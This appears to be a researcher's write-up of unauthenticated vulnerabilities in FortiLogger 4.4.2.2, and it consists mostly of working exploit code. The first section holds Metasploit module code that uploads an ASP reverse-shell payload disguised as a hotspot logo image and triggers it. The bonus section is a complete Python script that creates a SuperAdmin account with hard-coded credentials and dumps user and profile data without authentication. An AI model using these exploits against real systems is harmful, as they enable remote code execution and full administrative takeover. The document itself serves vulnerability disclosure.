FortiLogger - Unauthenticated Arbitrary File Upload (Metasploit) + Bonus

info

FortiLogger is a web-based logging and reporting software designed specifically for FortiGate firewalls, running on Windows operating systems. It contains features such as instant status tracking, logging, search / filtering, reporting and hotspot.

Vulnerability Discovery

This vulnerability found on upload a company logo under Hotspot Settings http://<IP>:5000/config/hotspotsettings). An anonymous user can be send a file without any authentication or session header with POST request to /Config/SaveUploadedHotspotLogoFile.

The file uploads under C:\Program Files\RZK\Fortilogger\Web\Assets\temp\hotspot\img destination with logohotspot name without controlling file extention or content.

Using this vulnerability, a malicious file can be uploaded and accessed the remote server where the application was running.

Vulnerability Exploitation

I found and tested this vulnerability on version 4.4.2.2 for now. So, firstly check the version of application. The application has an API for getting some information about the application with POST request to /shared/GetProductInfo. I get only version number on it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def check_product_info
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
'method' => 'POST',
'data' => '',
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest'
}
)
end

def check
begin
res = check_product_info

unless res
return CheckCode::Unknown('Target is unreachable.')
end

unless res.code == 200
return CheckCode::Unknown("Unexpected server response: #{res.code}")
end

version = Gem::Version.new(JSON.parse(res.body)['Version'])

if version <= Gem::Version.new('4.4.2.2')
CheckCode::Vulnerable("FortiLogger version #{version}")
else
CheckCode::Safe("FortiLogger version #{version}")
end
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'The target may have been updated')
end
end

Generate ASP reverse tcp payload

1
2
3
def create_payload
Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end

Below part uploads payload to target system and we already know the file located on /Assets/temp/hotspot/img/logohotspot.asp and triggers it for reverse connection;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
def exploit
begin
print_good('Generate Payload')
data = create_payload

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
post_data << "Content-Type: image/png\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' => {
'Accept' => 'application/json',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With' => 'XMLHttpRequest'
}
)

unless res
fail_with(Failure::Unknown, 'No response from server')
end

unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end

json_res = begin
JSON.parse(res.body)
rescue JSON::ParserError
nil
end

if json_res.nil? || json_res['Message'] == 'Error in saving file'
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
end

print_good('Payload has been uploaded')

handler

print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
end
rescue StandardError => e
fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
end

POC

Bonus | Unauthenticated SuperAdmin User Creation

Also, This software has 2 more vulnerabilities, information disclosure and create user without any authorization or session header. Here is the exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
python3 fortilogger_vuln.py 

FortiLogger | Log and Report System - v4.4.2.2
Remote SuperAdmin Account Creation Vulnerability / Information Disclosure

Berkan Er <b3rsec@protonmail.com>
@erberkan

Usage:
python3 fortilogger_vuln.py < IP > < PORT > < CREATE USER {TRUE / FALSE} >

IP: IP Address of FortiLogger host
PORT: Port number of FortiLogger host
TRUE: Create User
FALSE: Show Product Infos

Example: python3 fortilogger_vuln.py 192.168.1.10 5000 TRUE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# Exploit Title: FortiLogger - Remote SuperAdmin Account Creation Vulnerability / Information Disclosure
# Date: 30-01-2021
# Exploit Author: Berkan Er
# Vendor Homepage: https://www.fortilogger.com/
# Version: 4.4.2.2
# Tested on: Windows 10 Enterprise
# A remote attacker can be create an user with SuperAdmin profile

#!/usr/bin/python3

import argparse
import string
import sys
from random import random

import requests
import json

banner = '''
FortiLogger | Log and Report System - v4.4.2.2
Remote SuperAdmin Account Creation Vulnerability / Information Disclosure

Berkan Er <b3rsec@protonmail.com>
@erberkan
'''

commonHeaders = {
'Content-type': 'application/json',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
}



def getProductInfo(host, port, flag):
response = requests.post('http://' + host + ':' + port + '/shared/GetProductInfo', data={}, headers=commonHeaders)

print("[*] Status code: ", response.status_code)
print("[*] Product Version: ", response.json()['Version'])
info_json = json.dumps(response.json(), indent=2)

response_1 = requests.post('http://' + host + ':' + port + '/User/getUsers', data={}, headers=commonHeaders)
user_json = json.dumps(response_1.json(), indent=2)

profiles_payload = '''{
'id':'all'
}'''

response_2 = requests.post('http://' + host + ':' + port + '/User/getProfile', data=profiles_payload, headers=commonHeaders)
profiles_json = json.dumps(response_2.json(), indent=2)

if flag:
print("\n*** Product Infos=\n" + info_json)
print("\n*** Profiles=\n" + profiles_json)
print("\n*** Users=\n" + user_json)

if response.json()['Version'] == '4.4.2.2':
print("[+] It seems vulnerable !")
return True
else:
print("[!] It doesn't vulnerable !")
return False


def createSuperAdmin(host, port):

payload = '''{
'_profilename':'superadmin_profile',
'_username': '_hacker',
'_password': '_hacker',
'_fullname':'',
'_email':''
}'''

response = requests.post('http://' + host + ':' + port + '/User/saveUser', data=payload, headers=commonHeaders)
print("[*] STAUTS CODE:", response.status_code)
print("[!] User has been created ! \nUsername: _hacker\nPassword: _hacker")

response_1 = requests.post('http://' + host + ':' + port + '/User/getUsers', data={}, headers=commonHeaders)
json_formatted_str = json.dumps(response_1.json(), indent=2)
print("\n*** Users=\n" + json_formatted_str)


def main():
print(banner)

try:
host = sys.argv[1]
port = sys.argv[2]
action = sys.argv[3]

if action == 'TRUE':
if getProductInfo(host, port, False):
createSuperAdmin(host, port)
else:
getProductInfo(host, port, True)

print("KTHNXBYE!")

except:
print("Usage:\npython3 fortilogger_vuln.py < IP > < PORT > < CREATE USER {TRUE / FALSE} >\n\nIP:\tIP "
"Address of FortiLogger host\nPORT:\tPort number of FortiLogger host\nTRUE:\tCreate User\nFALSE:\tShow Product "
"Infos")
print("\nExample: python3 fortilogger_vuln.py 192.168.1.10 5000 TRUE\n")


if __name__ == "__main__":
main()

POC